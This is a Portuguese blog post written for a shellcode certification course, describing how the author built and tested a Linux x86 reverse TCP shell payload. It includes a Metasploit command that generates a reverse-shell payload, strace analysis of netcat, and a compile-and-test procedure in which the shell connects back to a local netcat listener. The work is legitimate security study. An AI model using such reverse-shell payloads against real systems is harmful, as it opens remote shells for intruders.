/*
Este post é uma sequência. Para melhor entendimento, vejam:
SLAE - 1st Assignment - Shell Bind
TCP
Hacking do Dia - Shell Bind TCP Random Port
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-237
Códigos deste post estão no GitHub.
<UPDATE>
O shellcode final
deste post foi aceito no repositório Shell-Storm.
Tks Jonathan Salwan.
</UPDATE>
Segundo Exame
Criar um shellcode de Shell Reverse TCP
- Executar um shell ao conectar no host reverso.
- Tornar fácil a configuração dos IP e porta.
Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.
libemu - sctest - strace - man
Comecei gerando o fluxograma do shellcode do Metasploit.
$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot
$ dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png
Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o “/bin/sh”.
Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D
$ nc -l 127.0.0.1 55555
Em outro terminal.
# strace -e socket,connect nc 127.0.0.1 55555
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.
Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.
O shellcode final teve um aumento de 4 bytes, ficando com 72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.
Testando
$ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
Terminal host
$ nc -l 127.1.1.1 55555
Terminal cliente
$ ./shellcode
Terminal host novamente
$ netstat -anp | grep shell
tcp 0 0 127.0.0.1:51600 127.1.1.1:55555 ESTABLISHED 976/shellcode
Reversing (Gotcha)
Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).
P.S. Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.
[]
Mais Informações
SLAE - SecurityTube Linux Assembly Expert
libemu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel (i4k)
Construindo Shellcodes - Victor Mello (m0nad)
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu